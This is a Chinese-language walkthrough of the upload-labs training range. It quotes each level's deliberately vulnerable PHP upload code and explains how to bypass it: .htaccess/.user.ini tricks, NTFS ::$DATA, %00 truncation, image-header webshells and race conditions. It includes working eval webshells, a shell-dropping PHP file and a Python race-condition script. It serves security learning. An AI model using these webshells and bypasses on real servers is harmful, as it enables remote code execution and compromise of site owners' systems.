uploda-labs-靶场
Pass-01(前端绕过)
先试试直接上传一句话木马.php文件
发现

点击上传发现没有对后端响应但是我们抓包发现没有数据包
然后,我们上传.jpg或者png的时候发现可以上传成功也有返回流量包
我们猜测是前端代码来验证这个后缀名

function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name) == -1) {var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;alert(errMsg);return false;}}
有多种绕过方法
- 抓包直接改后缀名
- 网页禁用js代码
- 直接改前端代码
我们使用抓包改后缀名

修改成功后上传成功访问这个图片然后拿蚁剑连接,连接记得访问的地址是上传的地址

Pass-02(扩展名类型)
上传php文件

发现文件类型不正确我们让我们重新上传
改类型就行
Content-Type: image/png


然后去连接访问

最后我们来分析源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '文件类型不正确,请重新上传!';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';}
}
看代码可以分析出
image/png,上穿类型要是这个的类型才可以,这个是
这个漏洞也交MIME的文件上传类型
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩 展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型, 当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打 开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
Pass-03(等级扩展名)
先尝试上传php文件发现

不允许.asp.aspx.php.json等文件
我们查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
我们可以使用别的php3,php5等

如果你右键在新标签页打开时,显示的是下载的文件
那说明apache没有将该文件当成php文件解析
需要在apache->conf->httpd.conf中找到AddType application/x-httpd-php,并在后面添加上一个.php3,最后重启apache服务就行.
AddType application/x-httpd-php .php .phtml .php3

Pass-04(.htaccess文件绕过)
我们上传了php和php3,等发现都不行
我们查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
发现过滤了好动的后缀名但是我们发现好像没有过滤
.htaccess文件.htaccess文件是Apache服务器中的一个配置文件
作用范围:.htaccess的用途范围主要针对当前目录。
优先级:较高 可覆盖Apache的主要配置文件(httpd.conf)
生效方式:修改后立刻生效
httpd.conf
服务器的全局行为和默认设置
作用范围:整个服务器
优先级:较低
生效方式:重启服务器后生效
在.htaccess文件中写入:
SetHandler application/x-httpd-php
shell.txt
<?php @eval($_POST["x"]);?>也可以选择局部的
<FilesMatch "shell.png">
SetHandler application/x-httpd-php
</FilesMatch>这个意思是
这是一个 .htaccess 文件中的指令,用于对特定的文件(如 shell.png)应用 PHP 处理。
shell.php
<?php @eval($_POST["x"]);?>
上传该文件后,其作用的upload下所有文件都将当作php文件解析,此时将一句话木马写入shell.txt再上传。


第二种解法是上传shell.php抓包改名为shell.php. .
Pass-05(.user.ini绕过)
先看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
这个与上一题好像是把.ini和.htaccess对调
黑名单中.ini消失了,而新增了.htaccess,这里采用.user.ini绕过和.htaccess类似,.user.ini可以覆盖PHP的全局配置文件php.ini
注:.user.ini只能用于Server API为FastCGI模式下,phpstudy中的apache正是这个模式,你可以再phpinfo中查看:
然而正常自己部署的apache通常是位于Apache 2.0 Handler模式的,所以这关只能在phpstudy中的apache服务器上复现,反而在自己部署的apache中复现不了。
在 .user.ini 中写入:
auto_prepend_file=shell.gif
点提示按钮可以看到,目录中包含一个readme.php的文件,上传 .user.ini ,再上传shell.php,抓包,将shell.php改名为shell.gif,放包,用蚁剑连接
如果找不到一般要去查看路径


上传shell.php抓包改名为shell.php. .
Pass-06(大小写绕过)
查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
我们发现检测中没有过滤大小写的语句尝试用大小写
注意:这里php版本选非nts版本的 才能成功

但是这里这里php版本选非nts版本的 才能成功
php nts版本会报 http 500 服务器内部错误 具体什么原因我也不太清楚
修改大小写进行绕过
在Windows系统中,创建一个1,txt后,再在同级目录下创建一个1.Txt,系统会把他们当成同名文件。所以这里可以用大小写绕过。只要将shell.php改成shell.PHp即可绕过,上传后用蚁剑连接
Pass-07(空格绕过)
源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
阅读代码发现 缺少了首尾去除空格的代码过滤

利用PHP 和 Windows环境的叠加特性 windows系统自动删除文件名后缀的空格 绕过黑名单
如果上传出错应该就是我们的php版本太高了,可能需要我们去用5.3以下的版本
Pass-08(点绕过)

源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
发现少了个删除点的操作,那我们直接上传shell.php,抓包将文件名改成 shell.php. 这样代码最后检测的后缀只有一个 . 成功绕过。
放包上传后

然后就连接成功

Pass-09(::$DATA绕过)
直接查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
我们发现前面少了一段删除::$DATA的代码。
在 Windows 系统中,::$DATA 是 NTFS 文件系统中的一种数据流标识,用于访问文件的主要数据流
也就是说正常读写shell.php和读写shell.php::$DATA是一样的,只是后面那种方式带上了数据流标识。直接上传shell.php,抓包将文件名改成shell.php::$DATA

成功上传,访问时候把::$DATA删除

Pass-10(点空格绕过)
先查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
这关的切入点在 $img_path = UPLOAD_PATH.'/'.$file_name; 发现保存的文件名就是我们上传的文件名,在Windows系统中尝试保存shell.php. .时,发现最终保存的是shell.php,后面的.和空格都被删掉了。利用这个特性(Linux系统就不行),直接上传shell.php,抓包将文件名改成shell.php. .(由于删除点的函数会删除连续的点所以在中间加上空格)


Pass-11(双写绕过)

查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
$file_name = str_ireplace($deny_ext,"", $file_name);
这里str_ireplace()函数的作用是,将文件名中包含的所有黑名单数组中的元素都替换成空,但是只替换了一次,将php双写成pphphp即可绕过漏洞原因:对上传的内容只进行了一次验证
使用我们使用双写绕过


Pass-12(%00截断GET型)
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}
由源代码可知
$img_path = $_GET['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;
我们发现这个是get请求的参数
当path路径中出现ASCII为0(0x00)的空字符时,将截断其后面的字符不执行,该空字符进行url编码后是%00
1.php 版本小于 5.3.29(最好用ts版的php,本人尝试过nts版的会上传失败)
2.magic_quotes_gpc = Off # 这个在 php.ini 中
原本的上传

上传shell.php,抓包,将文件名改成shell.png,将save_path的传参改成../upload/shell.php%00


从返回的Response中可以看到上传成功了
上传成功后用蚁剑连接

Pass-13(%00截断POST型)
先查看源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传失败";}} else {$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}
与上一关不同的是save_path参数是靠POST传递的,思路一样,上传shell.php,抓包将文件名改为shell.png,将参数save_path的值改为shell.php 后面的空格将其Hex值改成00,点击apply changes,就变成空字符了。

Pass-14(文件头标识)

查看源码
function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg';break;case 13780: $fileType = 'png';break; case 7173: $fileType = 'gif';break;default: $fileType = 'unknown';} return $fileType;
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}
关键代码
if($file_type == 'unknown'){$msg = "文件未知,上传失败!";
常见的文件格式头
JPEG/JFIF头两个字节为·0xFF 0xD8
PNG:头两个字节为·0x89 0x50
GIF:头两个字节为·0x47 0x49
BMP:头两个字节为·0x42 0x4D
那思路就很简单了,直接把一句话木马文件的开头两字节改成FF D8,这样后端代码就会认为这是个jpg文件直接上传。
制作图片码
首先先创建shell.txt
<?php
@eval($_POST['a']);
?>
但是我们要创建两个占位符,我们就用aa来表示吧

然后改为jpg,png,等后缀名
然后我们用010或者winhex打开,对前面的进行修改,根据自己的后缀名

然后尝试上传发现上传成功,并且上传后缀为php也是成功的

尝试浏览图片发现打开却是png文件
所以我们要利用题目给的条件去弄,要让这个文件以php文件去解析

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){include $file;
}else{show_source(__file__);
}
?>


直接利用该漏洞通过文件包含去访问文件

还要一种方式制作这个图片码
我们需要两个文件,一个是可以真实的文件图片,2.png
第二个是我们的另一个1.php文件,php文件里面包含一句话木马在cmd命令窗口执行copy 2.png/b+1.php hack.pnghack.png新的文件名
Pass-15(图片马绕过)
查看源码
function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}
getimagesize函数能通过读取文件头来判断文件类型,它返回元素是一个数组,包含图片的宽、高、类型等信息,其中图片的类型存储在索引为2的位置。
JPEG:文件头以 FF D8 开头。PNG:文件头以 89 50 4E 47 开头。GIF:文件头以 47 49 46 38 开头。BMP:文件头以 42 4D 开头。
所以我们不能像之前一样去修改前16进制
我们直接用命令去生成它
copy 1.jpg/b+2.php hack.jpg或者直接写入一个
GIF89ag
<?php @eval($_POST['cmd']); ?>
保存为shell.gif图片再上传第3种直接用文本打开图片,把一句话木马写到最后保存


Pass-16(图片马绕过)
查看源码
function isImage($filename){//需要开启php_exif模块$image_type = exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break; default:return false;break;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}
我们发现新的函数
exif_imagetype
这个函数和15关
getimagesize类似
直接上传图片马再通过文件包含漏洞去读取文件
exif_imagetype函数跟上一关的函数类似,只不过要打开php的exif扩展

最后蚁剑连接
Pass-17(二次渲染)
首先先查看源码
if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.'/'.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}
imagecreatefromjpeg($target_path);
由于前面进行了文件后缀的判断,所以这关只能上传jpg、png、gif图像,那么思路就是在图像中写入木马,再利用文件包含漏洞解析木马。这里有个函数 imagecreatefromjpeg() 能将jpg图像重新渲染成一个新图像,最终存储的也是这个新图像,那问题是渲染过程中会不会把木马破坏掉呢?这里随便上传一个jpg图像,将渲染后的图像下载下来用010 Editor对比。
我们尝试上传1.jpg文件,然后下载下来发现确实变了很多东西我们用010软件去作比较

然后再把这个下载下来的文件继续上传,我们发现已经不会再渲染了,和原来一模一样

所以我们要把我们的图片马放在没有被修改的地方才不会被渲染修改了我们原来的一句话木马把一句话木马删了
我们找到相同的地方把一句话木马写入绕过,尽量往中间


但是一般条件的话.gif文件更容易成功

用蚁剑连接

成功
Pass-18(条件竞争)
查看源代码
$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}
观察到这代码先用move_uploaded_file()上传文件,再用in_array()判断文件是否符合要求,不符合再删除,在文件的写入和删除是有时间差的,那我们上传的木马就有一小段生存期,那完全可以利用这段时间访问木马执行恶意操作。
创建木马文件wshell.php
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"]) ?>');
?>
执行时会帮我们写入一句话木马
创建一个python脚本(url改成自己的):
第一种:
import requests
import threading
import osclass RaceCondition(threading.Thread):def __init__(self):threading.Thread.__init__(self)self.url = 'http://127.0.0.1/upload-labs/upload/wshell.php'def _get(self):print('try to call uploaded file...')r = requests.get(self.url)if r.status_code == 200:print(r.text)os._exit(0)def run(self):while True:for i in range(5):self._get()for i in range(10):self._get()if __name__ == '__main__':threads = 50for i in range(threads):t = RaceCondition()t.start()for i in range(threads):t.join()
用bp进行抓包上传的地方抓包,发送到爆破模块


然后运行脚本,这个还挺看运气的
第二种两个都用bp去爆破连续


然后

根据自己的时间来弄吧,玄学,一直都是玄学
Pass-19(apache文件解析加条件竞争)
apache文件解析漏洞:apache解析文件时,会从后向前解析,每当解析不成功就会向前逐个解析。比如用apache解析shell.php.7z,当apache解析不了.7z时,会往前解析.php,最终文件被当成.php文件解析。
源代码有些问题,在upload-labs/Pass-19/myupload.php中修改setDir函数:
function setDir( $dir ){if( !is_writable( $dir ) ){return "DIRECTORY_FAILURE";} else { $this->cls_upload_dir = $dir.'/';return 1;}}
给出源码
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{require_once("./myupload.php");$imgFileName =time();$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);$status_code = $u->upload(UPLOAD_PATH);switch ($status_code) {case 1:$is_upload = true;$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;break;case 2:$msg = '文件已经被上传,但没有重命名。';break; case -1:$msg = '这个文件不能上传到服务器的临时文件存储目录。';break; case -2:$msg = '上传失败,上传目录不可写。';break; case -3:$msg = '上传失败,无法上传该类型文件。';break; case -4:$msg = '上传失败,上传的文件过大。';break; case -5:$msg = '上传失败,服务器已经存在相同名称文件。';break; case -6:$msg = '文件无法上传,文件不能复制到目标目录。';break; default:$msg = '未知错误!';break;}
}//myupload.php
class MyUpload{
......
......
...... var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",".html", ".xml", ".tiff", ".jpeg", ".png" );......
......
...... /** upload()**** Method to upload the file.** This is the only method to call outside the class.** @para String name of directory we upload to** @returns void**/function upload( $dir ){$ret = $this->isUploadedFile();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->setDir( $dir );if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkExtension();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkSize();if( $ret != 1 ){return $this->resultUpload( $ret ); }// if flag to check if the file exists is set to 1if( $this->cls_file_exists == 1 ){$ret = $this->checkFileExists();if( $ret != 1 ){return $this->resultUpload( $ret ); }}// if we are here, we are ready to move the file to destination$ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret ); }// check if we need to rename the fileif( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret ); }}// if we are here, everything worked as planned :)return $this->resultUpload( "SUCCESS" );}
......
......
......
};Copyright @ 2018 ~ 2025 by c0ny1
index.php中创建MyUpload类并调用upload(UPLOAD_PATH)方法,upload会依次进行设置上传目录->检查文件后缀->检查文件大小->上传文件->重命名文件等操作,当上一步操作出问题时后面的操作将不会执行(比如检查文件后缀不合法时就不再检查文件大小直接上传文件失败了),这里的关键点是在上传文件(move()函数)之后,再将文件重命名(renameFile()函数),可以利用这段存活期内通过apache的文件解析漏洞执行非法操作(原理又回到上一关的条件条件竞争了)。
当你能利用apache文件解析漏洞后,创建wshell.php
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"]) ?>');
?>
上传并用BP抓包,将文件名改为wshell.php.7z

右键发送到Intruder模块,点击Clear删除标记,选择Null payloads,勾选Continue indefinitely

开始攻击,使用上一关的python脚本,把url最后的文件名改为wshell.php.7z,启动脚本。
脚本停止后,发现upload目录下生成shell.php,用蚁剑连接

Pass-20(后缀绕过总结)
源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = $_POST['save_name'];$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);if(!in_array($file_ext,$deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true;}else{$msg = '上传出错!';}}else{$msg = '禁止保存为该类型文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
先判断合不合法在移动到服务器这个明显就是不能条件竞争了
我们直接 用点和 空格或者 / 绕过就行了
php 后面有空格

都可以绕过
Pass-21(后缀绕过总结)
$is_upload = false;
$msg = null;
